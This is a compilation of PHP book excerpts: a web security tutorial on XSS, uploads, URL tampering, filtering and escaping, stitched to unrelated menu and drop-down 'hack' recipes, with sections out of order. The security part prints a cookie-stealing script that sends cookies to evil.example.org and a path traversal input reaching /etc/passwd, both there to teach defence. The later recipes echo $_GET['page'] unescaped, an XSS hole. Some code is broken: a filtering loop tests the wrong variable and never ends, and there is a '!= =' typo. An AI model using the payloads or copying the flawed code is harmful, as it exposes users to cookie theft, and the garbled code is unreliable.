Cross-Site Scripting

Cross-site scripting (XSS) is deservedly one of the best known types of attacks. It plagues web applications on all platforms, and PHP applications are certainly no exception.

Any application that displays input is at riskweb-based email applications, forums, guestbooks, and even blog aggregators. In fact, most web applications display input of some typethis is what makes them interesting, but it is also what places them at risk. If this input is not properly filtered and escaped, a cross-site scripting vulnerability exists.

Consider a web application that allows users to enter comments on each page. The following form can be used to facilitate this:

<form action="comment.php" method="POST" />

<p>Name: <input type="text" name="name" /><br />

Comment: <textarea name="comment" rows="10" cols="60"></textarea><br />

<input type="submit" value="Add Comment" /></p>

</form>


The application displays comments to other users who visit the page. For example, code similar to the following can be used to output a single comment ($comment) and corresponding name ($name):

<?php


echo "<p>$name writes:<br />";

echo "<blockquote>$comment</blockquote></p>";


?>


This approach places a significant amount of trust in the values of both $comment and $name. Imagine that one of them contained the following:

<script>

document.location =

'http://evil.example.org/steal.php?cookies=' +

document.cookie

</script>


If this comment is sent to your users, it is no different than if you had allowed someone else to add this bit of JavaScript to your source. Your users will involuntarily send their cookies (the ones associated with your application) to evil.example.org, and the receiving script (steal.php) can access all of the cookies in $_GET['cookies'].

This is a common mistake, and it is proliferated by many bad habits that have become commonplace. Luckily, the mistake is easy to avoid. Because the risk exists only when you output tainted, unescaped data, you can simply make sure that you filter input and escape output.

At the very least, you should use htmlentities( ) to escape any data that you send to the clientthis function converts all special characters into their HTML entity equivalents. Thus, any character that the browser interprets in a special way is converted to its HTML entity equivalent so that its original value is preserved.

The following replacement for the code to display a comment is a much safer approach:

<?php


$clean = array();

$html = array();


/* Filter Input ($name, $comment) */


$html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8');

$html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8');


echo "<p>{$html['name']} writes:<br />";

echo "<blockquote>{$html['comment']}</blockquote></p>";


?>

Sometimes you want to give users the ability to upload files in addition to standard form data. Because files are not sent in the same way as other form data, you must specify a particular type of encodingmultipart/form-data:

<form action="upload.php" method="POST" enctype="multipart/form-data">


An HTTP request that includes both regular form data and files has a special format, and this enctype attribute is necessary for the browser's compliance.

The form element you use to allow the user to select a file for upload is very simple:

<input type="file" name="attachment" />


The rendering of this form element varies from browser to browser. Traditionally, the interface includes a standard text field as well as a browse button, so that the user can either enter the path to the file manually or browse for it. In Safari, only the browse option is available. Luckily, the behavior from a developer's perspective is the same.

To better illustrate the mechanics of a file upload, here's an example form that allows a user to upload an attachment:

<form action="upload.php" method="POST" enctype="multipart/form-data">

<p>Please choose a file to upload:

<input type="hidden" name="MAX_FILE_SIZE" value="1024" />

<input type="file" name="attachment" /><br />

<input type="submit" value="Upload Attachment" /></p>

</form>


The hidden form variable MAX_FILE_SIZE indicates the maximum file size (in bytes) that the browser should allow. As with any client-side restriction, this is easily defeated by an attacker, but it can act as a guide for your legitimate users. The restriction needs to be enforced on the server side in order to be considered reliable.

The receiving script, upload.php, displays the contents of the $_FILES superglobal array:

<?php


header('Content-Type: text/plain');

print_r($_FILES);


?>


To see this process in action, consider a simple file called author.txt:

Chris Shiflett

http://shiflett.org/


When you upload this file to the upload.php script, you see output similar to the following in your browser:

Array

(

[attachment] => Array

(

[name] => author.txt

[type] => text/plain

[tmp_name] => /tmp/phpShfltt

[error] => 0

[size] => 36

)


)


While this illustrates exactly what PHP provides in the $_FILES superglobal array, it doesn't help identify the origin of any of this information. A security-conscious developer needs to be able to identify input, and in order to reveal exactly what the browser sends, it is necessary to examine the HTTP request:

POST /upload.php HTTP/1.1

Host: example.org

Content-Type: multipart/form-data; boundary=----------12345

Content-Length: 245


----------12345

Content-Disposition: form-data; name="attachment"; filename="author.txt"

Content-Type: text/plain


Chris Shiflett

http://shiflett.org/


----------12345

Content-Disposition: form-data; name="MAX_FILE_SIZE"


1024

----------12345--


While it is not necessary that you understand the format of this request, you should be able to identify the file and its associated metadata. Only name and type are provided by the user, and therefore tmp_name, error, and size are provided by PHP.

Because PHP stores an uploaded file in a temporary place on the filesystem (/tmp/phpShfltt in this example), common tasks include moving it somewhere more permanent and reading it into memory. If your code uses tmp_name without verifying that it is in fact the uploaded file (and not something like /etc/passwd), a theoretical risk exists. I refer to this as a theoretical risk because there is no known exploit that allows an attacker to modify tmp_name. However, don't let the lack of an exploit dissuade you from implementing some simple safeguards. New exploits are appearing daily, and a simple step can protect you.

PHP provides two convenient functions for mitigating these theoretical risks: is_uploaded_file( ) and move_uploaded_file( ). If you want to verify only that the file referenced in tmp_name is an uploaded file, you can use is_uploaded_file( ):

<?php


$filename = $_FILES['attachment']['tmp_name'];


if (is_uploaded_file($filename))

{

/* $_FILES['attachment']['tmp_name'] is an uploaded file. */

}


?>


If you want to move the file to a more permanent location, but only if it is an uploaded file, you can use move_uploaded_file( ):

<?php


$old_filename = $_FILES['attachment']['tmp_name'];

$new_filename = '/path/to/attachment.txt';


if (move_uploaded_file($old_filename, $new_filename))

{

/* $old_filename is an uploaded file, and the move was successful. */

}


?>


Lastly, you can use filesize( ) to verify the size of the file:

<?php


$filename = $_FILES['attachment']['tmp_name'];


if (is_uploaded_file($filename))

{

$size = filesize($filename);

}


?>


The purpose of these safeguards is to add an extra layer of security. A best practice is always to trust as little as possible.

Curiosity is the motivation behind many attacks, and semantic URL attacks are a perfect example. This type of attack involves the user modifying the URL in order to discover what interesting things can be done. For example, if the user chris clicks a link in your application and arrives at http://example.org/private.php?user=chris, it is reasonable to assume that he will try to see what happens when the value for user is changed. For example, he might visit http://example.org/private.php?user=rasmus to see if he can access someone else's information. While GET data is only slightly more convenient to manipulate than POST data, its increased exposure makes it a more frequent target, particularly for novice attackers.

Most vulnerabilities exist because of oversight, not because of any particular complexity associated with the exploits. Any experienced developer can easily recognize the danger in trusting a URL in the way just described, but this isn't always clear until someone points it out.

To better illustrate a semantic URL attack and how a vulnerability can go unnoticed, consider a web-based email application where users can log in and check their example.org email accounts. Any application that requires its users to log in needs to provide a password reminder mechanism. A common technique for this is to ask the user a question that a random attacker is unlikely to know (the mother's maiden name is a common query, but allowing the user to specify a unique question and its answer is better) and email a new password to the email address already stored in the user's account.

With a web-based email application, an email address may not already be stored, so a user who answers the verification question may be asked to provide one (the purpose being not only to send the new password to this address, but also to collect an alternative address for future use). The following form asks a user for an alternative email address, and the account name is identified in a hidden form variable:

<form action="reset.php" method="GET">

<input type="hidden" name="user" value="chris" />

<p>Please specify the email address where you want your new password sent:</p>

<input type="text" name="email" /><br />

<input type="submit" value="Send Password" />

</form>


The receiving script, reset.php, has all of the information it needs to reset the password and send the emailthe name of the account that needs to have its password reset and the email address where the new password is to be sent.

If a user arrives at this form (after answering the verification question correctly), you are reasonably assured that the user is not an imposter but rather the legitimate owner of the chris account. If this user then provides chris@example.org as the alternative email address, he arrives at the following URL after submitting the form:

http://example.org/reset.php?user=chris&email=chris%40example.org


This URL is what appears in the location bar of the browser, so a user who goes through this process can easily identify the purpose of the variables user and email. After recognizing this, the user may decide that php@example.org would be a really cool email address to have, so this same user might visit the following URL as an experiment:

http://example.org/reset.php?user=php&email=chris%40example.org


If reset.php trusts these values provided by the user, it is vulnerable to a semantic URL attack. A new password will be generated for the php account, and it will be sent to chris@example.org, effectively allowing chris to steal the php account.

If sessions are being used to keep track of things, this can be avoided easily:

<?php


session_start();


$clean = array();

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';


if (preg_match($email_pattern, $_POST['email']))

{

$clean['email'] = $_POST['email'];

$user = $_SESSION['user'];

$new_password = md5(uniqid(rand(), TRUE));


if ($_SESSION['verified'])

{

/* Update Password */


mail($clean['email'], 'Your New Password', $new_password);

}

}


?>


Although this example omits some realistic details (such as a more complete email message or a more reasonable password), it demonstrates a lack of trust given to the email address provided by the user and, more importantly, session variables that keep up with whether the current user has already answered the verification question correctly ($_SESSION['verified']) and the name of the account for which the verification question was answered ($_SESSION['user']). It is this lack of trust given to input that is the key to preventing such gaping holes in your applications.

When developing a typical PHP application, the bulk of your logic involves data processingtasks such as determining whether a user has logged in successfully, adding items to a shopping cart, and processing a credit card transaction.

Data can come from numerous sources, and as a security-conscious developer, you want to be able to easily and reliably distinguish between two distinct types of data:

  • Filtered data

  • Tainted data

Anything that you create yourself is trustworthy and can be considered filtered. An example of data that you create yourself is anything hardcoded, such as the email address in the following example:

$email = 'chris@example.org';


This email address, chris@example.org, does not come from any remote source. This obvious observation is what makes it trustworthy. Any data that originates from a remote source is input, and all input is tainted , which is why it must always be filtered before you use it.

Tainted data is anything that is not guaranteed to be valid, such as form data submitted by the user, email retrieved from an IMAP server, or an XML document sent from another web application. In the previous example, $email is a variable that contains filtered datathe data is the important part, not the variable. A variable is just a container for the data, and it can always be overwritten later in the script with tainted data :

$email = $_POST['email'];


Of course, this is why $email is called a variable. If you don't want the data to change, use a constant instead:

define('EMAIL', 'chris@example.org');


When defined with the syntax shown here, EMAIL is a constant whose value is chris@example.org for the duration of the script, even if you attempt to assign it another value (perhaps by accident). For example, the following code outputs chris@example.org (the attempt to redefine EMAIL also generates a notice):

<?php


define('EMAIL', 'chris@example.org');

define('EMAIL', 'rasmus@example.org');

echo EMAIL;


?>

Although a user can send data in multiple ways, most applications take the most important actions as the result of a form submission. In addition, because an attacker can do harm only by manipulating anticipated data (data that your application does something with), forms provide a convenient openinga blueprint of your application that indicates what data you plan to use. This is why form processing is one of the primary concerns of the web application security discipline.

A user can send data to your application in three predominant ways:

  • In the URL (e.g., GET data)

  • In the content of a request (e.g., POST data)

  • In an HTTP header (e.g., Cookie)

Form data is sent using either the GET or POST request method. When you create an HTML form, you specify the request method in the method attribute of the form tag:

<form action="http://example.org/register.php" method="GET">


When the GET request method is specified, as this example illustrates, the browser sends the form data as the query string of the URL. For example, consider the following form:

<form action="http://example.org/login.php" method="GET">

<p>Username: <input type="text" name="username" /></p>

<p>Password: <input type="password" name="password" /></p>

<p><input type="submit" /></p>

</form>


If I enter the username chris and the password mypass, I arrive at http://example.org/login.php?username=chris&password=mypass after submitting the form. The simplest valid HTTP/1.1 request for this URL is as follows:

GET /login.php?username=chris&password=mypass HTTP/1.1

Host: example.org


It's not necessary to use the HTML form to request this URL. In fact, there is no difference between a GET request sent as the result of a user submitting an HTML form and one sent as the result of a user clicking a link.

To illustrate the POST request method, consider the previous example with a simple modification to the method attribute of the form tag that specifies POST instead of GET:

<form action="http://example.org/login.php" method="POST">

<p>Username: <input type="text" name="username" /></p>

<p>Password: <input type="password" name="password" /></p>

<p><input type="submit" /></p>

</form>


If I again specify chris as my username and mypass as my password, I arrive at http://example.org/login.php after submitting the form. The form data is in the content of the request rather than in the query string of the requested URL. The simplest valid HTTP/1.1 request that illustrates this is as follows:

POST /login.php HTTP/1.1

Host: example.org

Content-Type: application/x-www-form-urlencoded

Content-Length: 30


username=chris&password=mypass


You have now seen the predominant ways that a user provides data to your applications. The following sections discuss how attackers can take advantage of your forms and URLs by using these as openings to your applications.

Another cornerstone of web application security is the practice of escaping outputescaping or encoding special characters so that their original meaning is preserved. For example, O'Reilly is represented as O\'Reilly when being sent to a MySQL database. The backslash before the apostrophe is there to preserve itthe apostrophe is part of the data and not meant to be interpreted by the database.

As with filtering input, when I refer to escaping output , I am really describing three different steps:

  • Identifying output

  • Escaping output

  • Distinguishing between escaped and unescaped data

To escape output, you must first identify output. In general, this is much easier than identifying input because it relies on an action that you take. For example, to identify output being sent to the client, you can search for strings such as the following in your code:

  • echo

  • print

  • printf

  • <?=

As the developer of an application, you should be aware of every case in which you send data to a remote system. These cases all constitute output.

Like filtering, escaping is a process that is unique for each situation. Whereas filtering is unique according to the type of data you're filtering, escaping is unique according to the type of system to which you're sending data.

For most common destinations (including the client, databases, and URLs), there is a native escaping function that you can use. If you must write your own, it is important to be exhaustive. Find a reliable and complete list of every special character in the remote system and the proper way to represent each character so that it is preserved rather than interpreted.

The most common destination is the client, and htmlentities( ) is the best escaping function for escaping data to be sent to the client. Like most string functions, it takes a string and returns the modified version of the string. However, the best way to use htmlentities( ) is to specify the two optional argumentsthe quote style (the second argument) and the character set (the third argument). The quote style should always be ENT_QUOTES in order for the escaping to be most exhaustive, and the character set should match the character set indicated in the Content-Type header that your application includes in each response.

To distinguish between escaped and unescaped data, I advocate the use of a naming convention. For data to be sent to the client, the convention I use is to store all data escaped with htmlentities( ) in $html, an array that is initialized to an empty array and contains only data that has been both filtered and escaped:

<?php


$html = array( );


$html['username'] = htmlentities($clean['username'],

ENT_QUOTES, 'UTF-8');


echo "<p>Welcome back, {$html['username']}.</p>";


?>

Filtering is one of the cornerstones of web application security. It is the process by which you prove the validity of data. By ensuring that all data is properly filtered on input, you can eliminate the risk that tainted (unfiltered) data is mistakenly trusted or misused in your application. The vast majority of security vulnerabilities in popular PHP applications can be traced to a failure to filter input.

When I refer to filtering input, I am really describing three different steps:

  • Identifying input

  • Filtering input

  • Distinguishing between filtered and tainted data

The first step is to identify input because if you don't know what it is, you can't be sure to filter it. Input is any data that originates from a remote source. For example, anything sent by the client is input, although the client isn't the only remote source of dataother examples include database servers and RSS feeds.

Data that originates from the client is easy to identifyPHP provides this data in superglobal arrays, such as $_GET and $_POST. Other input can be more difficult to identifyfor example, $_SERVER contains many elements that can be manipulated by the client. It's not always easy to determine which elements in $_SERVER constitute input, so a best practice is to consider this entire array to be input.

What you consider to be input is a matter of opinion in some cases. For example, session data is stored on the server, and you might not consider the session data store to be a remote source. If you take this stance, you can consider the session data store to be an integral part of your application. It is wise to be mindful of the fact that this ties the security of your application to the security of the session data store. This same perspective can be applied to a database because the database can be considered a part of the application as well.

Generally speaking, it is more secure to consider data from session data stores and databases to be input, and this is the approach that I recommend for any critical PHP application.

Once you have identified input, you're ready to filter it. Filtering is a somewhat formal term that has many synonyms in common parlancesanitizing, validating, cleaning, and scrubbing. Although some people differentiate slightly between these terms, they all refer to the same processpreventing invalid data from entering your application.

Various approaches are used to filter data, and some are more secure than others. The best approach is to treat filtering as an inspection process. Don't correct invalid data in order to be accommodatingforce your users to play by your rules. History has shown that attempts to correct invalid data often create vulnerabilities. For example, consider the following method intended to prevent file traversal (ascending the directory tree):

<?php


$filename = str_replace('..', '.', $_POST['filename']);


?>


Can you think of a value of $_POST['filename'] that causes $filename to be ../../etc/passwd? Consider the following:

.../.../etc/passwd


This particular error can be corrected by continuing to replace the string until it is no longer found:

<?php


$filename = $_POST['filename'];


while (strpos($_POST['filename'], '..') != = FALSE)

{

$filename = str_replace('..', '.', $filename);

}


?>


Of course, the basename( ) function can replace this entire technique and is a safer way to achieve the desired goal. The important point is that any attempt to correct invalid data can potentially contain an error and allow invalid data to pass through. Inspection is a much safer alternative.

In addition to treating filtering as an inspection process, you want to use a whitelist approach whenever possible. This means that you want to assume the data that you're inspecting to be invalid unless you can prove that it is valid. In other words, you want to err on the side of caution. Using this approach, a mistake results in your considering valid data to be invalid. Although undesirable (as any mistake is), this is a much safer alternative than considering invalid data to be valid. By mitigating the damage caused by a mistake, you increase the security of your applications. Although this idea is theoretical in nature, history has proven it to be a very worthwhile approach.

If you can accurately and reliably identify and filter input, your job is almost done. The last step is to employ a naming convention or some other practice that can help you to accurately and reliably distinguish between filtered and tainted data. I recommend a simple naming convention because this can be used in both procedural and object-oriented paradigms. The convention that I use is to store all filtered data in an array called $clean. This allows you to take two important steps that help to prevent the injection of tainted data :

  • Always initialize $clean to be an empty array.

  • Add logic to detect and prevent any variables from a remote source named clean.

In truth, only the initialization is crucial, but it's good to adopt the habit of considering any variable named clean to be one thingyour array of filtered data. This step provides reasonable assurance that $clean contains only data that you knowingly store therein and leaves you with the responsibility of ensuring that you never store tainted data in $clean.

In order to solidify these concepts, consider a simple HTML form that allows a user to select among three colors:

<form action="process.php" method="POST">

Please select a color:

<select name="color">

<option value="red">red</option>

<option value="green">green</option>

<option value="blue">blue</option>

</select>

<input type="submit" />

</form>


In the programming logic that processes this form, it is easy to make the mistake of assuming that only one of the three choices can be provided. As you will learn in the next section, the client can submit any data as the value of $_POST['color']. To properly filter this data, you can use a switch statement:

<?php


$clean = array( );


switch($_POST['color'])

{

case 'red':

case 'green':

case 'blue':

$clean['color'] = $_POST['color'];

break;

}


?>


This example first initializes $clean to an empty array in order to be certain that it cannot contain tainted data. Once it is proven that the value of $_POST['color'] is one of red, green, or blue, it is stored in $clean['color']. Therefore, you can use $clean['color'] elsewhere in your code with reasonable assurance that it is valid. Of course, you could add a default case to this switch statement to take a particular action in the case of invalid data. One possibility is to display the form again while noting the errorjust be careful not to output the tainted data in an attempt to be friendly.

While this particular approach is useful for filtering data against a known set of valid values, it does not help you filter data against a known set of valid characters. For example, you might want to assert that a username may contain only alphanumeric characters:

<?php


$clean = array( );


if (ctype_alnum($_POST['username']))

{

$clean['username'] = $_POST['username'];

}


?>


Although a regular expression can be used for this particular purpose, using a native PHP function is always preferable. These functions are less likely to contain errors than code that you write yourself is, and an error in your filtering logic is almost certain to result in a security vulnerability.

Every developer makes mistakes, and PHP's error reporting features can help you identify and locate these mistakes. However, the detailed information that PHP provides can be displayed to a malicious attacker, and this is undesirable. It is important to make sure that this information is never shown to the general public. This is as simple as setting display_errors to Off. Of course, you want to be notified of errors, so you should set log_errors to On and indicate the desired location of the log with error_log.

Because the level of error reporting can cause some errors to be hidden, you should turn up PHP's default error_reporting setting to at least E_ALL (E_ALL | E_STRICT is the highest setting, offering suggestions for forward compatibility, such as deprecation notices).

All error-reporting behavior can be modified at any level, so if you are on a shared host or are otherwise unable to make changes to files such as php.ini, httpd.conf, or .htaccess, you can implement these recommendations with code similar to the following:

<?php


ini_set('error_reporting', E_ALL | E_STRICT);

ini_set('display_errors', 'Off');

ini_set('log_errors', 'On');

ini_set('error_log', '/usr/local/apache/logs/error_log');


?>

PHP also allows you to handle your own errors with the set_error_handler( ) function:

<?php


set_error_handler('my_error_handler');


?>


This allows you to define your own function (my_error_handler( )) to handle errors; the following is an example implementation:

<?php


function my_error_handler($number, $string, $file, $line, $context)

{

$error = "= == == == ==\nPHP ERROR\n= == == == ==\n";

$error .= "Number: [$number]\n";

$error .= "String: [$string]\n";

$error .= "File: [$file]\n";

$error .= "Line: [$line]\n";

$error .= "Context:\n" . print_r($context, TRUE) . "\n\n";


error_log($error, 3, '/usr/local/apache/logs/error_log');

}


?>


If you remember writing CGI applications in C in your early days of web application development, you know how tedious form processing can be. With PHP's register_globals directive enabled, the complexity of parsing raw form data is taken care of for you, and global variables are created from numerous remote sources. This makes writing PHP applications very easy and convenient, but it also poses a security risk.

In truth, register_globals is unfairly maligned. Alone, it does not create a security vulnerabilitya developer must make a mistake. However, two primary reasons you should develop and deploy applications with register_globals disabled are that it:

  • Can increase the magnitude of a security vulnerability

  • Hides the origin of data, conflicting with a developer's responsibility to keep track of data at all times

All examples in this book assume register_globals to be disabled. Instead, I use superglobal arrays such as $_GET and $_POST. Using these arrays is nearly as convenient as relying on register_globals, and the slight lack of convenience is well worth the increase in security.

Create Dynamic Navigation Menus


Use PHP to build a navigation menu widget that works consistently across your site.

Writing the navigation menu for your site can be a pain. You don't want to write the same code over and over on every page. Ideally, you would have a PHP menu function that would render the menu with the current page highlighted. This hack gives you that simple menu function (for the low cost of this book, no less!).

The Code

Save the code in Example 1, which demonstrates the use of menu.php as index.php.

Example 1. Using the menu library
<?php
require_once( "menu.php" );
 
$page = "home";
if ( $_GET['page'] )
               $page = $_GET['page'];
?>
<html>
<head>
<title>Page - <?php echo($page); ?></title>
<?php echo menu_css( ); ?>
</head>
<body>
<table cellspaceing="0" cellpadding="5">
<tr>
<td width="200" valign="top">
<?php page_menu( $page ); ?>
</td>
<td width="600" valign="top">
Page: <?php echo( $page ); ?>
 
</td>
</tr>
</table>
</body>
</html>

Example 2 shows the library, which is surprisingly simple.

Example 2. Making everything work with the PHP library, menu.php
<?php
function menu_css( ) {
?>
<style type="text/css">
.menu-inactive, .menu-active {
               padding: 2px;
               padding-left: 20px;
               font-family: arial, verdana;
}
.menu-inactive { background: #ddd; }
.menu-active { background: #000; font-weight: bold; }
.menu-inactive a { text-decoration: none; }
.menu-active a { color: white; text-decoration: none; }
</style>
<?php
}
 
function menu_item( $id, $title, $current ) {
$class = "menu-inactive";
if ( $current == $id )
               $class = "menu-active";
?>
<tr><td class="<?php echo($class); ?>">
<a href="index.php?page=<?php echo( $id ); ?>">
<?php echo( $title ); ?>
</a>
</td></tr>
<?php
}
 
function page_menu( $page ) {
?>
<table width="100%">
<?php menu_item( 'home', 'Home', $page ); ?>
<?php menu_item( 'faq', 'FAQ', $page ); ?>
<?php menu_item( 'download', 'Download', $page ); ?>
<?php menu_item( 'links', 'Links', $page ); ?>
<?php menu_item( 'credits', 'Credits', $page ); ?>
</table>
<?php
}
?>

index.php creates the menu by calling the page_menu function and specifying the page ID. The ID of the page is used to decide which menu item is selected. The index.php script also calls the menu_css function to set up the CSS styles for the menu.

You can change the makeup of the menu by altering the bottom portion of the menu.php file to add or remove menu items. You can also change the look and feel of the menu by altering the CSS class definitions in the menu_css function.

Running

Upload the code to the server and point your browser at index.php. Your display should look like Figure 1.

Figure 1. The home page

Now click on the FAQ link; you should see something like Figure 2.

Figure 2. The FAQ page



Use DHTML to position sticky drop-down windows relative to keywords in your HTML.

Attaching a drop-down sticky to a word or phrase in your document is an easy way to add valuable information close to the word, without obscuring it. That way, the user can click on the word and get more contextual information, all without scrolling or lots of mouse movement.

The Code

Save the code in Example 1 as index.php.

Example 1. PHP and JavaScript cooperate to make drop-down stickies work
<?php
$nextid = 1;
function start_link( $text )
{
  global $nextid;
  $idtext = "a"+$nextid;
 
?>
<a href="javascript: void drop( '<?php echo($idtext); ?>' );">
<span id="a_<?php echo($idtext); ?>"><?php echo($text); ?>
</span></a>
<div id="<?php echo($idtext); ?>"
class="drop" style="visibility:hidden;">
<table cellspacing="0" cellpadding="0" width="170"><tr>
<td valign="top" width="20">
<a href="javascript: void close(<?php echo($idtext); ?>)">
<img src="close.gif"
border="0"></a>
</td>
<td valign="top" width="150">
<?php
}
 
function end_link( )
{
?>
</td>
</tr></table>
</div><?php
}
 
function link_header( )
{
?>
<style type="text/css">
body { font-family: arial, verdana; }
.drop {
  padding: 5px;
  font-size: small;
  background: #eee;
  border: 1px solid black;
  position: absolute;
}
</style>
<script language="Javascript">
function drop( sid )
{
  aobj = document.getElementById( "a_"+sid );
  divobj = document.getElementById( sid );
  divobj.style.top = aobj.offsetBottom+10;
  divobj.style.left = aobj.offsetLeft+10;
  divobj.style.visibility = "visible";
}
function close( sid )
{
  divobj = document.getElementById( sid );
  divobj.style.visibility = "hidden";
}
</script>
<?php
}
?>
 
<html>
<head>
<?php link_header( ); ?>
</head>
<body>
Hey <?php start_link( "this is interesting" ); ?>
That really<br/>
Is interesting <?php end_link( ); ?>. How about that.

The popup will go over text and all that.<br/>
And it will stay up until it's dismissed with the close
button.
</body>
</html>

The script defines three functions at the top of the file: start_link, end_link, and link_header. The call to start_link takes the text of the link as an argument. The contents of the drop-down box are then supplied, and the end_link call is made.

Running

Copy the code and the images to the server. Point your browser to the index.php script and you will see something similar to Figure 1.

Figure 1. A clickable keyword in the document

Now click on the link and you will get the drop-down box with a close icon, as shown in Figure 2.

Figure 2. The drop down positioned under the link


top